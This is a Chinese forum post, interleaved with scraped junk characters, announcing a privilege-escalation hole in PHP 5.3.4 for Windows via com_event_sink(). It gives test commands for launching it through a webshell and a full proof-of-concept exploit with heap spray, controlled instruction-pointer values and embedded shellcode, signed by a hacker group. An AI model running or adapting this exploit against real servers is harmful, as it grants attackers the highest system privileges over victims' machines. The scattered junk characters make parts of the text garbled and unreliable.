|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
# R$ S( A5 v# ^4 D
% d7 T6 u& V5 V p: |( ?8 i4 D测试方法如下:cmd /c x:\php\php.exe x:\test.php
( I# R) j; d2 {3 H i4 g+ s" C- y) W4 ?) o
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
3 j! ^0 J9 y3 |2 B0 e这里是两个测试的截图:1 o3 V6 O$ J, K/ A* _1 d/ ~
! o2 V$ T4 L F5 w6 A
" N7 j5 u9 f3 }4 B* e7 T' Z3 C( ~9 |% h
' q) D( l z$ A0 E) }# Z! q* t
* P' I' `/ W# G' k) \3 r( r' b& b4 v成功利用此漏洞的攻击者将获得系统的最高权限1 \/ R* [/ _" X" @: `0 R* d
4 s2 r5 i" e! w2 c/ ~6 x, ]
; V- F( O+ e {9 g, a0 d0 @3 w, T* e
6 X4 w& C* _. J3 m) K+ e
8 L; x! I0 o+ F, b; I
9 X( ^; `4 l. i& ~- s关于漏洞分析稍后附上。一下是PoC代码:! t x, } U# F4 k
2 D! `, L0 t }# s4 U; H9 f
<?php
0 W& C3 } w4 Y' Z//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
( P$ M8 q" I* e0 H: U//$eip ="\x44\x43\x42\x41";
8 n, D, g9 ^/ l; R$eip= "\x4b\xe8\x57\x78";
" I6 ?$ S, ?* W( A" s$eax ="\x80\x01\x8d\x04";
, b# b" B. H4 l# Y& a6 ~/ I$deodrant="";9 Y. N$ A2 Q1 U$ p! k1 p* l* d
$axespray = str_repeat($eip.$eax,0x80);
6 x7 z6 w' C6 `) A' a8 n, U//048d0190
, D* b" `0 w/ Uecho strlen($axespray);
. H; n3 I+ @) x0 c+ Y$ aecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
$ s6 A% N. a$ W* o3 K& Recho "Silic Group Hacker Army - BlackBap.Org";
T: i8 p5 S ?//19200 ==4B32 4b00) \- {. T, ]7 o
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
9 K. L* d' \7 g6 A$terminate = "T";' y" s" X1 N, c6 ^
$u[] =$deodrant; {9 |9 v3 k1 M) h
$r[] =$deodrant.$terminate;
# p2 w5 `6 h' W x$a[] =$deodrant.$terminate; N9 P s$ i# g+ {+ m
$s[] =$deodrant.$terminate;
& i, u/ j7 V$ {) R: G+ J//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
; f) Y* a$ g) f1 w$vVar = new VARIANT(0x048d0000+180);
( }. H- P& Z3 l6 T* y//弹窗代码(Shellcode)) z% ]( h& l* \" q) Q
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
$ d- g5 |" D8 [$var2 = new VARIANT(0x41414242);
; l9 j7 d/ @" r& e- Icom_event_sink($vVar,$var2,$buffer);
2 i- O3 F1 q; L5 H" N' n/ l?>
5 P6 R8 J+ F& J. D+ L, O) D# e |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|